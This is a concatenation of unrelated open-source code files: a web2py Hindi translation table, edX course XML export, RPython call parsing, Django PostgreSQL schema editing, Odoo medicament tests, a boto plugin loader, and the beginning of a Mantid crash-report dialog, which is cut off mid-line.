password': 'Change password', 'Change site information': 'Change site information', 'Change subtitle': 'Change subtitle', 'Change title': 'Change title', 'Change url': 'Change url', 'Check to delete': 'हटाने के लिए चुनें', 'Close this window': 'Close this window', 'Comment edit': 'Comment edit', 'Controller': 'Controller', 'Copyright': 'Copyright', 'Current request': 'वर्तमान अनुरोध', 'Current response': 'वर्तमान प्रतिक्रिया', 'Current session': 'वर्तमान सेशन', 'DB Model': 'DB Model', 'Database': 'Database', 'Delete:': 'मिटाना:', 'Edit': 'Edit', 'Edit Profile': 'प्रोफ़ाइल संपादित करें', 'Edit This App': 'Edit This App', 'Edit current record': 'वर्तमान रेकॉर्ड संपादित करें ', 'Error 400!': 'Error 400!', 'Error 404!': 'Error 404!', 'Hello World': 'Hello World', 'Hello from MyApp': 'Hello from MyApp', 'Import/Export': 'आयात / निर्यात', 'Index': 'Index', 'Internal State': 'आंतरिक स्थिति', 'Invalid Query': 'अमान्य प्रश्न', 'Language': 'Language', 'Layout': 'Layout', 'Leave a Reply': 'Leave a Reply', 'Login': 'लॉग इन', 'Logout': 'लॉग आउट', 'Lost Password': 'पासवर्ड खो गया', 'Lost password': 'Lost password', 'Main Menu': 'Main Menu', 'Make sure all words are spelled correctly': 'Make sure all words are spelled correctly', 'Menu Model': 'Menu Model', 'My Profile': 'My Profile', 'New Record': 'नया रेकॉर्ड', 'No comments loaded yet!. If persist enable javascript or update your browser.': 'No comments loaded yet!. If persist enable javascript or update your browser.', 'No databases in this application': 'इस अनुप्रयोग में कोई डेटाबेस नहीं हैं', 'No message receive from server': 'No message receive from server', 'Powered by': 'Powered by', 'Problem with avatars': 'Problem with avatars', 'Problem with categorie id value!': 'Problem with categorie id value!', 'Problem with id value': 'Problem with id value', 'Problem with some submitted values': 'Problem with some submitted values', 'Problem with the values submitted': 'Problem with the values submitted', 'Query:': 'प्रश्न:', 'Register': 'पंजीकृत (रजिस्टर) करना ', 'Rows in table': 'तालिका में पंक्तियाँ ', 'Rows selected': 'चयनित (चुने गये) पंक्तियाँ ', 'Save the content': 'Save the content', 'Show articles': 'Show articles', 'Show categories': 'Show categories', 'Show comments': 'Show comments', 'Show images': 'Show images', 'Show links': 'Show links', 'Show or hide the admin panel': 'Show or hide the admin panel', 'Show styles': 'Show styles', 'Show the list of articles': 'Show the list of articles', 'Show the list of categories': 'Show the list of categories', 'Show the list of comments': 'Show the list of comments', 'Show the list of images': 'Show the list of images', 'Show the list of links': 'Show the list of links', 'Show the list of styles': 'Show the list of styles', 'Show the list of users': 'Show the list of users', 'Show users': 'Show users', 'Showing': 'Showing', 'Sign in': 'Sign in', 'Sign in with your google account': 'Sign in with your google account', "Sorry, but this article doesn't exist!": "Sorry, but this article doesn't exist!", 'Stylesheet': 'Stylesheet', 'Sure you want to delete this article?': 'Sure you want to delete this article?', 'Sure you want to delete this comment?': 'Sure you want to delete this comment?', 'Sure you want to delete this image?': 'Sure you want to delete this image?', 'Sure you want to delete this link?': 'Sure you want to delete this link?', 'Sure you want to delete this object?': 'सुनिश्चित हैं कि आप इस वस्तु को हटाना चाहते हैं?', 'Sure you want to delete this style?': 'Sure you want to delete this style?', 'Sure you want to delete this user?': 'Sure you want to delete this user?', 'Tags': 'Tags', 'The "query" is a condition like "db.table1.field1==\'value\'". Something like "db.table1.field1==db.table2.field2" results in a SQL JOIN.': 'The "query" is a condition like "db.table1.field1==\'value\'". Something like "db.table1.field1==db.table2.field2" results in a SQL JOIN.', "The article id doesn't exist": "The article id doesn't exist", "The article id or page number doesn't exist": "The article id or page number doesn't exist", "The article id, page number, or reply doesn't exist": "The article id, page number, or reply doesn't exist", "The comment id doesn't exist": "The comment id doesn't exist", 'The search for': 'The search for', 'There was a problem with values of Year - Month': 'There was a problem with values of Year - Month', 'This article was updated on': 'This article was updated on', "This function doesn't exist": "This function doesn't exist", "This function doesn't exist!": "This function doesn't exist!", 'Update:': 'अद्यतन करना:', 'Upload your image': 'Upload your image', 'Url to an image': 'Url to an image', 'Use (...)&(...) for AND, (...)|(...) for OR, and ~(...) for NOT to build more complex queries.': 'Use (...)&(...) for AND, (...)|(...) for OR, and ~(...) for NOT to build more complex queries.', 'Use more general keywords': 'Use more general keywords', 'View': 'View', 'Warning: This will replace your css with the default value from current style. Are you sure you want to continue?': 'Warning: This will replace your css with the default value from current style. Are you sure you want to continue?', 'Welcome %s': 'Welcome %s', 'Welcome to web2py': 'वेब२पाइ (web2py) में आपका स्वागत है', 'You are not logged in': 'You are not logged in', 'You have to sign in to your account before comment': 'You have to sign in to your account before comment', 'You need to sign in as an admin': 'You need to sign in as an admin', 'You need to submit your search text.': 'You need to submit your search text.', 'appadmin is disabled because insecure channel': 'अप आडमिन (appadmin) अक्षम है क्योंकि असुरक्षित चैनल', 'cache': 'cache', 'change password': 'change password', 'click here for online examples': 'ऑनलाइन उदाहरण के लिए यहाँ क्लिक करें', 'click here for the administrative interface': 'प्रशासनिक इंटरफेस के लिए यहाँ क्लिक करें', 'customize me!': 'मुझे अनुकूलित (कस्टमाइज़) करें!', 'data uploaded': 'डाटा अपलोड सम्पन्न ', 'database': 'डेटाबेस', 'database %s select': 'डेटाबेस %s चुनी हुई', 'db': 'db', 'design': 'रचना करें', 'done!': 'हो गया!', 'edit profile': 'edit profile', 'export as csv file': 'csv फ़ाइल के रूप में निर्यात', 'in categories': 'in categories', 'insert new': 'नया डालें', 'insert new %s': 'नया %s डालें', 'invalid request': 'अवैध अनुरोध', 'login': 'login', 'logout': 'logout', 'new record inserted': 'नया रेकॉर्ड डाला', 'next 100 rows': 'अगले 100 पंक्तियाँ', 'not yield any results': 'not yield any results', 'or import from csv file': 'या csv फ़ाइल से आयात', 'previous 100 rows': 'पिछले 100 पंक्तियाँ', 'record': 'record', 'record does not exist': 'रिकॉर्ड मौजूद नहीं है', 'record id': 'रिकॉर्ड पहचानकर्ता (आईडी)', 'register': 'register', 'results': 'results', 'selected': 'चुना हुआ', 'state': 'स्थिति', 'table': 'तालिका', 'unable to parse csv file': 'csv फ़ाइल पार्स करने में असमर्थ', }
gpl-2.0
proversity-org/edx-platform
common/lib/xmodule/xmodule/modulestore/xml_exporter.py
12
18035
""" Methods for exporting course data to XML """ import logging from abc import abstractmethod from six import text_type import lxml.etree from xblock.fields import Scope, Reference, ReferenceList, ReferenceValueDict from xmodule.contentstore.content import StaticContent from xmodule.exceptions import NotFoundError from xmodule.assetstore import AssetMetadata from xmodule.modulestore import EdxJSONEncoder, ModuleStoreEnum from xmodule.modulestore.inheritance import own_metadata from xmodule.modulestore.store_utilities import draft_node_constructor, get_draft_subtree_roots from xmodule.modulestore import LIBRARY_ROOT from fs.osfs import OSFS from json import dumps import os from xmodule.modulestore.draft_and_published import DIRECT_ONLY_CATEGORIES from opaque_keys.edx.locator import CourseLocator, LibraryLocator DRAFT_DIR = "drafts" PUBLISHED_DIR = "published" DEFAULT_CONTENT_FIELDS = ['metadata', 'data'] def _export_drafts(modulestore, course_key, export_fs, xml_centric_course_key): """ Exports course drafts. """ # NOTE: we need to explicitly implement the logic for setting the vertical's parent # and index here since the XML modulestore cannot load draft modules with modulestore.branch_setting(ModuleStoreEnum.Branch.draft_preferred, course_key): draft_modules = modulestore.get_items( course_key, qualifiers={'category': {'$nin': DIRECT_ONLY_CATEGORIES}}, revision=ModuleStoreEnum.RevisionOption.draft_only ) # Check to see if the returned draft modules have changes w.r.t. the published module. # Only modules with changes will be exported into the /drafts directory. draft_modules = [module for module in draft_modules if modulestore.has_changes(module)] if draft_modules: draft_course_dir = export_fs.makedir(DRAFT_DIR, recreate=True) # accumulate tuples of draft_modules and their parents in # this list: draft_node_list = [] for draft_module in draft_modules: parent_loc = modulestore.get_parent_location( draft_module.location, revision=ModuleStoreEnum.RevisionOption.draft_preferred ) # if module has no parent, set its parent_url to `None` parent_url = None if parent_loc is not None: parent_url = text_type(parent_loc) draft_node = draft_node_constructor( draft_module, location=draft_module.location, url=text_type(draft_module.location), parent_location=parent_loc, parent_url=parent_url, ) draft_node_list.append(draft_node) for draft_node in get_draft_subtree_roots(draft_node_list): # only export the roots of the draft subtrees # since export_from_xml (called by `add_xml_to_node`) # exports a whole tree # ensure module has "xml_attributes" attr if not hasattr(draft_node.module, 'xml_attributes'): draft_node.module.xml_attributes = {} # Don't try to export orphaned items # and their descendents if draft_node.parent_location is None: continue logging.debug('parent_loc = %s', draft_node.parent_location) draft_node.module.xml_attributes['parent_url'] = draft_node.parent_url parent = modulestore.get_item(draft_node.parent_location) # Don't try to export orphaned items if draft_node.module.location not in parent.children: continue index = parent.children.index(draft_node.module.location) draft_node.module.xml_attributes['index_in_children_list'] = str(index) draft_node.module.runtime.export_fs = draft_course_dir adapt_references(draft_node.module, xml_centric_course_key, draft_course_dir) node = lxml.etree.Element('unknown') draft_node.module.add_xml_to_node(node) class ExportManager(object): """ Manages XML exporting for courselike objects. """ def __init__(self, modulestore, contentstore, courselike_key, root_dir, target_dir): """ Export all modules from `modulestore` and content from `contentstore` as xml to `root_dir`. `modulestore`: A `ModuleStore` object that is the source of the modules to export `contentstore`: A `ContentStore` object that is the source of the content to export, can be None `courselike_key`: The Locator of the Descriptor to export `root_dir`: The directory to write the exported xml to `target_dir`: The name of the directory inside `root_dir` to write the content to """ self.modulestore = modulestore self.contentstore = contentstore self.courselike_key = courselike_key self.root_dir = root_dir self.target_dir = text_type(target_dir) @abstractmethod def get_key(self): """ Get the courselike locator key """ raise NotImplementedError def process_root(self, root, export_fs): """ Perform any additional tasks to the root XML node. """ def process_extra(self, root, courselike, root_courselike_dir, xml_centric_courselike_key, export_fs): """ Process additional content, like static assets. """ def post_process(self, root, export_fs): """ Perform any final processing after the other export tasks are done. """ @abstractmethod def get_courselike(self): """ Get the target courselike object for this export. """ def export(self): """ Perform the export given the parameters handed to this class at init. """ with self.modulestore.bulk_operations(self.courselike_key): fsm = OSFS(self.root_dir) root = lxml.etree.Element('unknown') # export only the published content with self.modulestore.branch_setting(ModuleStoreEnum.Branch.published_only, self.courselike_key): courselike = self.get_courselike() export_fs = courselike.runtime.export_fs = fsm.makedir(self.target_dir, recreate=True) # change all of the references inside the course to use the xml expected key type w/o version & branch xml_centric_courselike_key = self.get_key() adapt_references(courselike, xml_centric_courselike_key, export_fs) courselike.add_xml_to_node(root) # Make any needed adjustments to the root node. self.process_root(root, export_fs) # Process extra items-- drafts, assets, etc root_courselike_dir = self.root_dir + '/' + self.target_dir self.process_extra(root, courselike, root_courselike_dir, xml_centric_courselike_key, export_fs) # Any last pass adjustments self.post_process(root, export_fs) class CourseExportManager(ExportManager): """ Export manager for courses. """ def get_key(self): return CourseLocator( self.courselike_key.org, self.courselike_key.course, self.courselike_key.run, deprecated=True ) def get_courselike(self): # depth = None: Traverses down the entire course structure. # lazy = False: Loads and caches all block definitions during traversal for fast access later # -and- to eliminate many round-trips to read individual definitions. # Why these parameters? Because a course export needs to access all the course block information # eventually. Accessing it all now at the beginning increases performance of the export. return self.modulestore.get_course(self.courselike_key, depth=None, lazy=False) def process_root(self, root, export_fs): with export_fs.open(u'course.xml', 'wb') as course_xml: lxml.etree.ElementTree(root).write(course_xml, encoding='utf-8') def process_extra(self, root, courselike, root_courselike_dir, xml_centric_courselike_key, export_fs): # Export the modulestore's asset metadata. asset_dir = root_courselike_dir + '/' + AssetMetadata.EXPORTED_ASSET_DIR + '/' if not os.path.isdir(asset_dir): os.makedirs(asset_dir) asset_root = lxml.etree.Element(AssetMetadata.ALL_ASSETS_XML_TAG) course_assets = self.modulestore.get_all_asset_metadata(self.courselike_key, None) for asset_md in course_assets: # All asset types are exported using the "asset" tag - but their asset type is specified in each asset key. asset = lxml.etree.SubElement(asset_root, AssetMetadata.ASSET_XML_TAG) asset_md.to_xml(asset) with OSFS(asset_dir).open(AssetMetadata.EXPORTED_ASSET_FILENAME, 'wb') as asset_xml_file: lxml.etree.ElementTree(asset_root).write(asset_xml_file, encoding='utf-8') # export the static assets policies_dir = export_fs.makedir('policies', recreate=True) if self.contentstore: self.contentstore.export_all_for_course( self.courselike_key, root_courselike_dir + '/static/', root_courselike_dir + '/policies/assets.json', ) # If we are using the default course image, export it to the # legacy location to support backwards compatibility. if courselike.course_image == courselike.fields['course_image'].default: try: course_image = self.contentstore.find( StaticContent.compute_location( courselike.id, courselike.course_image ), ) except NotFoundError: pass else: output_dir = root_courselike_dir + '/static/images/' if not os.path.isdir(output_dir): os.makedirs(output_dir) with OSFS(output_dir).open(u'course_image.jpg', 'wb') as course_image_file: course_image_file.write(course_image.data) # export the static tabs export_extra_content( export_fs, self.modulestore, self.courselike_key, xml_centric_courselike_key, 'static_tab', 'tabs', '.html' ) # export the custom tags export_extra_content( export_fs, self.modulestore, self.courselike_key, xml_centric_courselike_key, 'custom_tag_template', 'custom_tags' ) # export the course updates export_extra_content( export_fs, self.modulestore, self.courselike_key, xml_centric_courselike_key, 'course_info', 'info', '.html' ) # export the 'about' data (e.g. overview, etc.) export_extra_content( export_fs, self.modulestore, self.courselike_key, xml_centric_courselike_key, 'about', 'about', '.html' ) course_policy_dir_name = courselike.location.run if courselike.url_name != courselike.location.run and courselike.url_name == 'course': # Use url_name for split mongo because course_run is not used when loading policies. course_policy_dir_name = courselike.url_name course_run_policy_dir = policies_dir.makedir(course_policy_dir_name, recreate=True) # export the grading policy with course_run_policy_dir.open(u'grading_policy.json', 'wb') as grading_policy: grading_policy.write(dumps(courselike.grading_policy, cls=EdxJSONEncoder, sort_keys=True, indent=4).encode('utf-8')) # export all of the course metadata in policy.json with course_run_policy_dir.open(u'policy.json', 'wb') as course_policy: policy = {'course/' + courselike.location.block_id: own_metadata(courselike)} course_policy.write(dumps(policy, cls=EdxJSONEncoder, sort_keys=True, indent=4).encode('utf-8')) _export_drafts(self.modulestore, self.courselike_key, export_fs, xml_centric_courselike_key) class LibraryExportManager(ExportManager): """ Export manager for Libraries """ def get_key(self): """ Get the library locator for the current library key. """ return LibraryLocator( self.courselike_key.org, self.courselike_key.library ) def get_courselike(self): """ Get the library from the modulestore. """ return self.modulestore.get_library(self.courselike_key, depth=None, lazy=False) def process_root(self, root, export_fs): """ Add extra attributes to the root XML file. """ root.set('org', self.courselike_key.org) root.set('library', self.courselike_key.library) def process_extra(self, root, courselike, root_courselike_dir, xml_centric_courselike_key, export_fs): """ Notionally, libraries may have assets. This is currently unsupported, but the structure is here to ease in duck typing during import. This may be expanded as a useful feature eventually. """ # export the static assets export_fs.makedir('policies', recreate=True) if self.contentstore: self.contentstore.export_all_for_course( self.courselike_key, self.root_dir + '/' + self.target_dir + '/static/', self.root_dir + '/' + self.target_dir + '/policies/assets.json', ) def post_process(self, root, export_fs): """ Because Libraries are XBlocks, they aren't exported in the same way Course Modules are, but instead use the standard XBlock serializers. Accordingly, we need to create our own index file to act as the equivalent to the root course.xml file, called library.xml. """ # Create the Library.xml file, which acts as the index of all library contents. xml_file = export_fs.open(LIBRARY_ROOT, 'wb') xml_file.write(lxml.etree.tostring(root, pretty_print=True, encoding='utf-8')) xml_file.close() def export_course_to_xml(modulestore, contentstore, course_key, root_dir, course_dir): """ Thin wrapper for the Course Export Manager. See ExportManager for details. """ CourseExportManager(modulestore, contentstore, course_key, root_dir, course_dir).export() def export_library_to_xml(modulestore, contentstore, library_key, root_dir, library_dir): """ Thin wrapper for the Library Export Manager. See ExportManager for details. """ LibraryExportManager(modulestore, contentstore, library_key, root_dir, library_dir).export() def adapt_references(subtree, destination_course_key, export_fs): """ Map every reference in the subtree into destination_course_key and set it back into the xblock fields """ subtree.runtime.export_fs = export_fs # ensure everything knows where it's going! for field_name, field in subtree.fields.iteritems(): if field.is_set_on(subtree): if isinstance(field, Reference): value = field.read_from(subtree) if value is not None: field.write_to(subtree, field.read_from(subtree).map_into_course(destination_course_key)) elif field_name == 'children': # don't change the children field but do recurse over the children [adapt_references(child, destination_course_key, export_fs) for child in subtree.get_children()] elif isinstance(field, ReferenceList): field.write_to( subtree, [ele.map_into_course(destination_course_key) for ele in field.read_from(subtree)] ) elif isinstance(field, ReferenceValueDict): field.write_to( subtree, { key: ele.map_into_course(destination_course_key) for key, ele in field.read_from(subtree).iteritems() } ) def _export_field_content(xblock_item, item_dir): """ Export all fields related to 'xblock_item' other than 'metadata' and 'data' to json file in provided directory """ module_data = xblock_item.get_explicitly_set_fields_by_scope(Scope.content) if isinstance(module_data, dict): for field_name in module_data: if field_name not in DEFAULT_CONTENT_FIELDS: # filename format: {dirname}.{field_name}.json with item_dir.open(u'{0}.{1}.{2}'.format(xblock_item.location.block_id, field_name, 'json'), 'wb') as field_content_file: field_content_file.write(dumps(module_data.get(field_name, {}), cls=EdxJSONEncoder, sort_keys=True, indent=4).encode('utf-8')) def export_extra_content(export_fs, modulestore, source_course_key, dest_course_key, category_type, dirname, file_suffix=''): items = modulestore.get_items(source_course_key, qualifiers={'category': category_type}) if len(items) > 0: item_dir = export_fs.makedir(dirname, recreate=True) for item in items: adapt_references(item, dest_course_key, export_fs) with item_dir.open(item.location.block_id + file_suffix, 'wb') as item_file: item_file.write(item.data.encode('utf8')) # export content fields other then metadata and data in json format in current directory _export_field_content(item, item_dir)
agpl-3.0
jptomo/rpython-lang-scheme
rpython/rtyper/callparse.py
1
4745
from rpython.annotator.argument import ArgumentsForTranslation, ArgErr from rpython.annotator import model as annmodel from rpython.rtyper import rtuple from rpython.rtyper.error import TyperError from rpython.rtyper.lltypesystem import lltype class ArgumentsForRtype(ArgumentsForTranslation): def newtuple(self, items): return NewTupleHolder(items) def unpackiterable(self, it): assert it.is_tuple() items = it.items() return list(items) def getrinputs(rtyper, graph): """Return the list of reprs of the input arguments to the 'graph'.""" return [rtyper.bindingrepr(v) for v in graph.getargs()] def getrresult(rtyper, graph): """Return the repr of the result variable of the 'graph'.""" if graph.getreturnvar().annotation is not None: return rtyper.bindingrepr(graph.getreturnvar()) else: return lltype.Void def getsig(rtyper, graph): """Return the complete 'signature' of the graph.""" return (graph.signature, graph.defaults, getrinputs(rtyper, graph), getrresult(rtyper, graph)) def callparse(rtyper, graph, hop, r_self=None): """Parse the arguments of 'hop' when calling the given 'graph'. """ rinputs = getrinputs(rtyper, graph) def args_h(start): return [VarHolder(i, hop.args_s[i]) for i in range(start, hop.nb_args)] if r_self is None: start = 1 else: start = 0 rinputs[0] = r_self opname = hop.spaceop.opname if opname == "simple_call": arguments = ArgumentsForRtype(args_h(start)) elif opname == "call_args": arguments = ArgumentsForRtype.fromshape( hop.args_s[start].const, # shape args_h(start+1)) # parse the arguments according to the function we are calling signature = graph.signature defs_h = [] if graph.defaults: for x in graph.defaults: defs_h.append(ConstHolder(x)) try: holders = arguments.match_signature(signature, defs_h) except ArgErr, e: raise TyperError("signature mismatch: %s" % e.getmsg(graph.name)) assert len(holders) == len(rinputs), "argument parsing mismatch" vlist = [] for h,r in zip(holders, rinputs): v = h.emit(r, hop) vlist.append(v) return vlist class Holder(object): def is_tuple(self): return False def emit(self, repr, hop): try: cache = self._cache except AttributeError: cache = self._cache = {} try: return cache[repr] except KeyError: v = self._emit(repr, hop) cache[repr] = v return v class VarHolder(Holder): def __init__(self, num, s_obj): self.num = num self.s_obj = s_obj def is_tuple(self): return isinstance(self.s_obj, annmodel.SomeTuple) def items(self): assert self.is_tuple() n = len(self.s_obj.items) return tuple([ItemHolder(self, i) for i in range(n)]) def _emit(self, repr, hop): return hop.inputarg(repr, arg=self.num) def access(self, hop): repr = hop.args_r[self.num] return repr, self.emit(repr, hop) class ConstHolder(Holder): def __init__(self, value): self.value = value def is_tuple(self): return type(self.value) is tuple def items(self): assert self.is_tuple() return self.value def _emit(self, repr, hop): return hop.inputconst(repr, self.value) class NewTupleHolder(Holder): def __new__(cls, holders): for h in holders: if not isinstance(h, ItemHolder) or not h.holder == holders[0].holder: break else: if 0 < len(holders) == len(holders[0].holder.items()): return holders[0].holder inst = Holder.__new__(cls) inst.holders = tuple(holders) return inst def is_tuple(self): return True def items(self): return self.holders def _emit(self, repr, hop): assert isinstance(repr, rtuple.TupleRepr) tupleitems_v = [] for h in self.holders: v = h.emit(repr.items_r[len(tupleitems_v)], hop) tupleitems_v.append(v) vtuple = repr.newtuple(hop.llops, repr, tupleitems_v) return vtuple class ItemHolder(Holder): def __init__(self, holder, index): self.holder = holder self.index = index def _emit(self, repr, hop): index = self.index r_tup, v_tuple = self.holder.access(hop) v = r_tup.getitem_internal(hop, v_tuple, index) return hop.llops.convertvar(v, r_tup.items_r[index], repr)
mit
smi96/django-blog_website
lib/python2.7/site-packages/django/db/backends/postgresql/schema.py
202
4100
import psycopg2 from django.db.backends.base.schema import BaseDatabaseSchemaEditor class DatabaseSchemaEditor(BaseDatabaseSchemaEditor): sql_alter_column_type = "ALTER COLUMN %(column)s TYPE %(type)s USING %(column)s::%(type)s" sql_create_sequence = "CREATE SEQUENCE %(sequence)s" sql_delete_sequence = "DROP SEQUENCE IF EXISTS %(sequence)s CASCADE" sql_set_sequence_max = "SELECT setval('%(sequence)s', MAX(%(column)s)) FROM %(table)s" sql_create_varchar_index = "CREATE INDEX %(name)s ON %(table)s (%(columns)s varchar_pattern_ops)%(extra)s" sql_create_text_index = "CREATE INDEX %(name)s ON %(table)s (%(columns)s text_pattern_ops)%(extra)s" def quote_value(self, value): return psycopg2.extensions.adapt(value) def _model_indexes_sql(self, model): output = super(DatabaseSchemaEditor, self)._model_indexes_sql(model) if not model._meta.managed or model._meta.proxy or model._meta.swapped: return output for field in model._meta.local_fields: db_type = field.db_type(connection=self.connection) if db_type is not None and (field.db_index or field.unique): # Fields with database column types of `varchar` and `text` need # a second index that specifies their operator class, which is # needed when performing correct LIKE queries outside the # C locale. See #12234. # # The same doesn't apply to array fields such as varchar[size] # and text[size], so skip them. if '[' in db_type: continue if db_type.startswith('varchar'): output.append(self._create_index_sql( model, [field], suffix='_like', sql=self.sql_create_varchar_index)) elif db_type.startswith('text'): output.append(self._create_index_sql( model, [field], suffix='_like', sql=self.sql_create_text_index)) return output def _alter_column_type_sql(self, table, old_field, new_field, new_type): """ Makes ALTER TYPE with SERIAL make sense. """ if new_type.lower() == "serial": column = new_field.column sequence_name = "%s_%s_seq" % (table, column) return ( ( self.sql_alter_column_type % { "column": self.quote_name(column), "type": "integer", }, [], ), [ ( self.sql_delete_sequence % { "sequence": self.quote_name(sequence_name), }, [], ), ( self.sql_create_sequence % { "sequence": self.quote_name(sequence_name), }, [], ), ( self.sql_alter_column % { "table": self.quote_name(table), "changes": self.sql_alter_column_default % { "column": self.quote_name(column), "default": "nextval('%s')" % self.quote_name(sequence_name), } }, [], ), ( self.sql_set_sequence_max % { "table": self.quote_name(table), "column": self.quote_name(column), "sequence": self.quote_name(sequence_name), }, [], ), ], ) else: return super(DatabaseSchemaEditor, self)._alter_column_type_sql( table, old_field, new_field, new_type )
mit
laslabs/vertical-medical
medical_medicament_us/tests/test_medical_medicament.py
1
2603
# -*- coding: utf-8 -*- # Copyright 2016 LasLabs Inc. # License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html). from openerp.tests.common import TransactionCase class TestMedicalMedicament(TransactionCase): def setUp(self): super(TestMedicalMedicament, self).setUp() self.test_gcn = self.env['medical.medicament.gcn'].create({}) self.test_drug_form = self.env.ref('medical_medicament.AEM') def _new_medicament(self, extra_values): base_values = { 'drug_form_id': self.test_drug_form.id, 'name': 'Test Medicament', 'gcn_id': self.test_gcn.id, } base_values.update(extra_values) return self.env['medical.medicament'].create(base_values) def test_compute_brand_ids_no_gcn_id(self): '''It should return an empty recordset for medicaments without a GCN''' test_medicament = self._new_medicament({'gcn_id': None}) self.assertFalse(test_medicament.brand_ids) def test_compute_brand_ids_no_matches(self): '''It should return empty recordset when there are no brand variants''' test_medicament = self._new_medicament({'gpi': '1'}) self.assertFalse(test_medicament.brand_ids) def test_compute_brand_ids_valid_matches(self): '''It should return all matching medicaments, including self''' test_medicament = self._new_medicament({'gpi': '2'}) test_medicament_2 = self._new_medicament({'gpi': '2'}) self._new_medicament({'gpi': '1'}) self.assertEqual( test_medicament.brand_ids.ids, [test_medicament.id, test_medicament_2.id], ) def test_compute_generic_ids_no_gcn_id(self): '''It should return an empty recordset for medicaments without a GCN''' test_medicament = self._new_medicament({'gcn_id': None}) self.assertFalse(test_medicament.generic_ids) def test_compute_generic_ids_no_matches(self): '''It should return empty recordset if there are no generic variants''' test_medicament = self._new_medicament({'gpi': '2'}) self.assertFalse(test_medicament.generic_ids) def test_compute_generic_ids_valid_matches(self): '''It should return all matching medicaments, including self''' test_medicament = self._new_medicament({'gpi': '1'}) test_medicament_2 = self._new_medicament({'gpi': '1'}) self._new_medicament({'gpi': '2'}) self.assertEqual( test_medicament.generic_ids.ids, [test_medicament.id, test_medicament_2.id], )
agpl-3.0
palladius/gcloud
packages/gsutil/boto/boto/plugin.py
111
2695
# Copyright 2010 Google Inc. # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, dis- # tribute, sublicense, and/or sell copies of the Software, and to permit # persons to whom the Software is furnished to do so, subject to the fol- # lowing conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS # OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABIL- # ITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT # SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. """ Implements plugin related api. To define a new plugin just subclass Plugin, like this. class AuthPlugin(Plugin): pass Then start creating subclasses of your new plugin. class MyFancyAuth(AuthPlugin): capability = ['sign', 'vmac'] The actual interface is duck typed. """ import glob import imp, os.path class Plugin(object): """Base class for all plugins.""" capability = [] @classmethod def is_capable(cls, requested_capability): """Returns true if the requested capability is supported by this plugin """ for c in requested_capability: if not c in cls.capability: return False return True def get_plugin(cls, requested_capability=None): if not requested_capability: requested_capability = [] result = [] for handler in cls.__subclasses__(): if handler.is_capable(requested_capability): result.append(handler) return result def _import_module(filename): (path, name) = os.path.split(filename) (name, ext) = os.path.splitext(name) (file, filename, data) = imp.find_module(name, [path]) try: return imp.load_module(name, file, filename, data) finally: if file: file.close() _plugin_loaded = False def load_plugins(config): global _plugin_loaded if _plugin_loaded: return _plugin_loaded = True if not config.has_option('Plugin', 'plugin_directory'): return directory = config.get('Plugin', 'plugin_directory') for file in glob.glob(os.path.join(directory, '*.py')): _import_module(file)
gpl-3.0
rosswhitfield/mantid
qt/python/mantidqt/dialogs/errorreports/report.py
3
5965
# Mantid Repository : https://github.com/mantidproject/mantid # # Copyright &copy; 2018 ISIS Rutherford Appleton Laboratory UKRI, # NScD Oak Ridge National Laboratory, European Spallation Source, # Institut Laue - Langevin & CSNS, Institute of High Energy Physics, CAS # SPDX - License - Identifier: GPL - 3.0 + from qtpy import QtCore, QtGui, QtWidgets from qtpy.QtCore import Signal from qtpy.QtWidgets import QMessageBox from mantidqt.interfacemanager import InterfaceManager from mantidqt.utils.qt import load_ui from .details import MoreDetailsDialog DEFAULT_PLAIN_TEXT = ( """Please enter any additional information about your problems. (Max 3200 characters) For example: Error messages on the screen A script that causes the problem The functions you used immediately before the problem Thank you!""") ErrorReportUIBase, ErrorReportUI = load_ui(__file__, 'errorreport.ui') class CrashReportPage(ErrorReportUIBase, ErrorReportUI): action = Signal(bool, int, str, str, str) quit_signal = Signal() free_text_edited = False interface_manager = InterfaceManager() def __init__(self, parent=None, show_continue_terminate=False): super(self.__class__, self).__init__(parent) self.setupUi(self) if hasattr(self.input_free_text, 'setPlaceholderText'): self.input_free_text.setPlaceholderText(DEFAULT_PLAIN_TEXT) else: # assume Qt<5 self.input_free_text.setPlainText(DEFAULT_PLAIN_TEXT) self.input_free_text.cursorPositionChanged.connect(self.check_placeholder_text) self.input_text = "" if not show_continue_terminate: self.continue_terminate_frame.hide() self.adjustSize() self.quit_signal.connect(QtWidgets.QApplication.instance().quit) self.icon.setPixmap(QtGui.QPixmap(":/images/crying_mantid.png")) self.requestTextBrowser.anchorClicked.connect(self.interface_manager.showWebPage) self.input_name_line_edit.textChanged.connect(self.set_button_status) self.input_email_line_edit.textChanged.connect(self.set_button_status) self.input_free_text.textChanged.connect(self.set_button_status) self.input_free_text.textChanged.connect(self.set_plain_text_edit_field) self.privacy_policy_label.linkActivated.connect(self.launch_privacy_policy) # The options on what to do after closing the window (exit/continue) self.radioButtonContinue.setChecked(True) # Set continue to be checked by default # These are the options along the bottom self.fullShareButton.clicked.connect(self.fullShare) self.nonIDShareButton.clicked.connect(self.nonIDShare) self.noShareButton.clicked.connect(self.noShare) self.setWindowFlags(QtCore.Qt.CustomizeWindowHint | QtCore.Qt.WindowTitleHint | QtCore.Qt.WindowStaysOnTopHint) self.setWindowModality(QtCore.Qt.ApplicationModal) # Dialog window to show more details of the crash to the user. self.details_dialog = MoreDetailsDialog(self) def quit(self): self.quit_signal.emit() def fullShare(self): self.action.emit(self.continue_working, 0, self.input_name, self.input_email, self.input_text) self.close() def nonIDShare(self): self.action.emit(self.continue_working, 1, self.input_name, self.input_email, self.input_text) self.close() def noShare(self): self.action.emit(self.continue_working, 2, self.input_name, self.input_email, self.input_text) self.close() def get_simple_line_edit_field(self, expected_type, line_edit): gui_element = getattr(self, line_edit) value_as_string = gui_element.text() return expected_type(value_as_string) if value_as_string else '' def set_plain_text_edit_field(self): self.input_text = 